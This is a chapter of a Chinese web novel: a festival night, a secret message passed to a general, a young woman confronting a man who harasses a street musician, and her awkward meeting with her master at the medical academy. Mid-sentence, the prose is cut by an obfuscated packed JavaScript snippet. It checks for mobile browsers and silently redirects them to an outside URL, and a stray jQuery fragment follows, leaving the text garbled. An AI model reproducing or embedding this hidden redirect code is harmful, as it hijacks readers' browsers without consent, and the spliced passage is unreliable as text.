19.破茧(九)

作品:《奸臣师父为何这样

    叶无声伫立岸边,手中刚放下一盏莲花灯。一江之隔,千万盏河灯穿身而过,淌过石桥,淌过她脚边。


    抬眼那一瞬,火光朦胧,灯影婆娑。


    不知何处乐师奏曲,瑶琴声响,濛濛然令人心颤。


    “东门之杨,其叶牂牂。昏以为期,明星煌煌……”


    也不知师父许下的,会是什么愿呢?


    “不必了。”叶灼敛了敛眸,挽起卫知瑶的胳膊。“我没有什么愿望。”


    “你不准备和他相认么?”卫知瑶显然也看到他了。可这二人既是师徒,为何叶灼的反应这般奇怪?


    “师父平安无事已是最好,没什么好认的。”


    她指了指许多人围着的地方。“那儿好像有人在弹琴诶,我们过去看看吧!”


    掠过人影绰绰,他的目光追逐着那道背影。莲花灯倏然熄灭。


    这已是她回京以来,第三次见他就跑。叶无声微微皱眉,略显困惑。


    是真当自己看不见,还是有意躲着他?


    “叶少卿,香烛已燃尽,可以开始撤供了。”


    “知道了。”叶无声随意应了句,“陛下现在何处?”


    “正在梵音寺礼佛。”


    叶无声点头示意。胥吏退下以后,往城外方向去。


    藕粉花裙的女孩提着灯笼,欢笑着从身边跑过。叶无声脚步微微顿住。


    有那么一瞬间,仿佛看见年幼的叶灼。


    十年前,他第一次在上京遇见她,是他第一次受命潜入敌后。那时她个子只有这么丁点高,穿的同样是身粉裙,手里提着兔子灯,还在蹒跚学步。


    “阿爹,你又输给寰儿了!”女孩回过头笑。


    纳兰景追上来抱起她,欢声笑语穿过长街。远远地看见叶无声,走上去搭话:“叶少卿,今天是休沐日,你怎么也在呀?”


    “太子殿下。”叶无声回过神来, “今日七月十五,乃祭祀佳节,陛下遣臣操办仪仗诸事。”


    “这样啊。”纳兰景想起昨日的事,拍拍胸脯邀功:“叶少卿之前嘱咐的,我可是一字不落,全背下来了哦!”


    “殿下做得很好。”叶无声道,“但求以后在陛下面前,不要出纰漏才是。时候不早,殿下记得早些将小郡主送回东宫,不要让陛下起了疑心。”


    “放心吧,本太子的女儿,本太子定不会让她有事!”


    叶无声点头致意。


    算起来,适才放下的河灯,应是已漂到北城门了。


    眠江之畔,莲花灯顺流而下,被刀鞘拦住。


    年轻将领身披银色战甲,俯身放下另一盏灯。稍作观望后,从灭了的灯芯取出小小的竹筒。


    “邢将军,”一名士兵来报,“狼牙军候时已久,趁着庙会人多耳杂,请将军早日启程。”


    邢真将竹筒收了收,压粗嗓子:“急什么,没看到本将军正在为老母亲求平安么?”


    待那名士兵退下,他方才摊开字条。


    上头赫然写着:曳兵,授钺,以谋虎。


    “看来陛下已然决心保下太子。”他将字条攥紧,一双格外突兀的绿瞳微眯,嘴角噙起怪异的笑。


    岐州气候那么干燥,也不知这副皮囊,够不够他撑个一年半载呢?


    “起军。”他道。


    狼牙军大队应令启程,离开北城门。


    江畔人潮簇拥,琴音阵阵。


    唱词到了下半段,旋律急如玉珠走盘,缓若月华倾泻,引得不少路人驻足。


    凭着身量优势,叶灼拉着卫知瑶,顺利挤到前面几排。


    水边亭榭中,一名女子戴着面纱,眉如远黛青山,目似秋水横波。似是卖艺的乐户,跟前摆有一只瓷碗,怀中执着古琴。这把琴看起来有些年头,琴身漆面布满了断纹。


    素手轻扫,每一下拨动扣人心弦。


    “东门之杨,其叶肺肺。昏以为期,明星晢晢……”


    歌声空灵直上九霄,恍惚之中,似有佳人静候于城下,遥看金乌西坠,玉兔东升。


    琴乐交织,道不尽幽婉缠绵,诉不尽思念流离。与江畔美景相衬,似乐还哀,令人魂萦梦牵。


    围观群众沉浸曲中,不知天地为何物。好半天以后,陆续有文人雅士上前打赏。


    “好曲儿,好曲儿!”


    “这位姑娘来上京好些时日,每每路过江边,都能听到这样的天籁。真是荡涤心灵呐!”


    叶灼忍不住称赞:“姐姐,你琴弹的好生厉害!只是我听这曲中意,总觉得感伤,不知道这词是什么意思呢?”


    “姑娘年纪尚小,竟也能听懂曲中之意?”女子弯起眼,微微歪头看她。


    叶灼点点头,想上去放赏钱,却被个不讲理的捷足先登。


    这人一身华贵装扮,看起来是富家来的公子哥儿,听声音有些熟悉。


    “好一首《东门之杨》。男女期会,约而不至,有情人苦候所思。”


    叶灼揉了揉眼睛,绕到他身侧。


    只见他放下银票,将折扇一合:“今日得遇佳人,是许某三生有幸。不知小娘子可否赏个脸,移步府上再奏几曲?”


    “许昭昭?!”她瞪大了眼。


    见是叶灼,许昭昭虎躯一震。为了掩饰尴尬,人模狗样地作揖:“小娘子,您千万莫要误会。我是诚心看姑娘琴弹得好,想邀您到府中小叙……小娘子眉目如画,曲又弹得这般好,定是个美人。为何却遮遮掩掩,不让大伙儿一睹芳容呢?”


    女子急忙掩面:“我卖艺不卖身,碍于脸上疤痕不便示人。”


    “小娘子若是嫌银钱不够,我这儿有的是……”


    “不关银钱的事,请公子自重!”女子后退几步。


    许昭昭嘿嘿笑着,欲要揭她面纱,却被叶灼一把抓住手腕。


    “姐姐,你别信他的话,这个人看起来衣冠楚楚,其实根本是衣冠禽兽,一肚子坏水!”


    “你——!”许昭昭狠狠瞪她一眼,压低声音道,“姓叶的,又是你!老子出来逛个庙会,干你什么闲事?”


    “姑奶奶平生就好管闲事。”叶灼举起他的手,硬翻个身,面朝群众,“诸位都听见了。这位姐姐卖艺不卖身,却有人目无王法动手动脚,强邀她进府作客!此等好色宵小,怎容他为祸民间?!”


    “说得是啊。人家姑娘都不乐意了,岂有强迫人的道理?”


    “我们还要听曲儿呢,叫他一个人独享,我们听什么去?”


    见情势不妙,许昭昭挣开她,冷哼一声:“好,敢跟老子作对,你可惹上大麻烦了……明日学堂相见,有你好果子吃!”


    “你调戏良家妇女还有理了,当姑奶奶是被吓大的不成?”叶灼将银票一甩,给了他屁股一脚。


    “拿走你的臭钱!”


    目送他灰溜溜逃走,众人拍手叫好。


    叶灼挠了挠头,回首望去,弹琴的姐姐已然不见踪影。还来不及问她名字,怎么就走了呢?算了算了,这么美的曲子,应该还有机会听


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787958|172603||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到吧。


    人群熙攘,方面阔肩的青年执剑而立,攥紧手中剑柄。


    身后之人观望许久,此时走上来道:“邱山。”


    他手中动作一松,抱拳行礼:“郡……呃,卫小姐。”


    “现在还未到轮换时间,你不领军守城,跑到江边来做什么?”卫知瑶问。


    “今日节庆,陛下允我返乡祭祖,刚刚回来。临时接到西戎使臣擅自离宫的消息,犹恐生变,故奉命巡城。”


    卫知瑶狐疑地瞧着他,“既是巡城,怎却上赶着听曲儿?”


    “噢,我想着这里人多,使臣可能混在人群中,就过来看一看。”邱山道,并没有抬眼。


    “真的?”


    “真……真的。”


    “瑶姐姐!”叶灼远远赶来,差点儿绊到石子。


    卫知瑶张手扶住,“瞧你,一身汗。跑那么急做什么?”


    “瑶姐姐,你可让我好找,刚才我这里那里绕了一大圈,到处不见你的影子,还以为你先回去了呢!”


    叶灼上气不接下气,说话间注意到她身旁男子。长相眼熟得很,但一时想不起在哪见过。


    “这是屯骑校尉,邱山。”卫知瑶道,“金沙关一战曾与哥哥共同出征,近日才被调回上京。”


    叶灼点头问安。仔细回想起来,来上京路途中,好像是有这么个人,一直伴在卫明川左右,难怪自己会觉得眼熟了。


    天色不早,街上人群渐渐散去。


    卫知瑶住在临近城郊的亲王府,明日还有课业,不能耽搁得太晚。几人寒暄一阵,叶灼与之道过别,沿路回了太医署。


    想不到上京的登徒子也这么多,这一天折腾下来,实在把她累得不轻。简单洗漱后,她将脏衣服换下,包进被窝,很快便睡过去了。


    夜里猫叫声不断,扰得她时梦时醒,以致于翌日差点儿起不来。


    太阳刺得睁不开眼,叶灼挟着课本,有些晕乎乎地四处晃荡。太医署原来那么大啊,找课室都要找好半天。


    “咚——”


    晨钟声响起。行至一处转角,迎面撞上具结实的胸膛。


    “哎哟。”书本掉了一地,叶灼扶着额头,连忙蹲下来捡。“对不起对不起。”也不管撞到谁,她第一堂课就要迟到了,没时间瞎扯皮。


    跟前那双云纹笏头履,却连动也不动一下。


    这人就这样杵着,难道是计较上了?大不了一会儿好好道个歉。可这人穿的好像不是学子服,难道是前来讲课的博士?不对不对,没见过沈博士穿这么素雅的衣裳啊。


    思来想去,愈发觉得不对劲,直到那人冷冷开了口:“阿灼。”


    叶灼捡书的动作瞬间僵住。


    “师……”话到嘴边又觉得不妥,“呃,叶少卿。”


    视线缓缓上移,叶无声就这样平静望着她。看不出一丝表情,反令她一阵哆嗦。


    “课钟都响了第八遍,你怎的还不去上课?”


    “弟子适才迷路了,这就去!”她连忙起身,像只无头苍蝇乱转,一时间竟分不清东南西北。


    他伸出手来,将她掉转了个方向。


    “竹苑往这边。”叶无声说道,指向她的正前方。


    叶灼垂下头,声音微弱得像只蚊子:“谢师……叶少卿。”


    “慢着。”


    “怎、怎么了?”


    她直挺挺转身,像根木头杵在原地。


    却见叶无声拾起地上的书,步步向她靠近。